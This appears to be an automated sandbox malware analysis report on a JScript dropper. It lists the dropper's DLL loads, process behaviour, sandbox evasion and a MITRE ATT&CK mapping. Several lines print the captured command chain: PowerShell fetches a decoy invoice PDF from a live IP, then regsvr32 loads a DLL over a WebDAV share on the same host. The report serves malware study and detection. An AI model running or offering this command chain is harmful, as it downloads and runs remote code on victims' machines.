Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3726.js.csv");ITextStream.WriteLine(" entry:7210 f:xqnowucb");ITextStream.WriteLine(" exec:2 f:xqnowucb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4230			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5648			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6320	Thread sleep count: 4230 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6320	Thread sleep count: 5648 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5128	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2308	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2328	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7216	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.2140420513.000002E0B3BA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000002.2197395673.000001FB4A061000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197395673.000001FB49FF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3430174492.0000021E28C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3431304878.0000021E2E458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
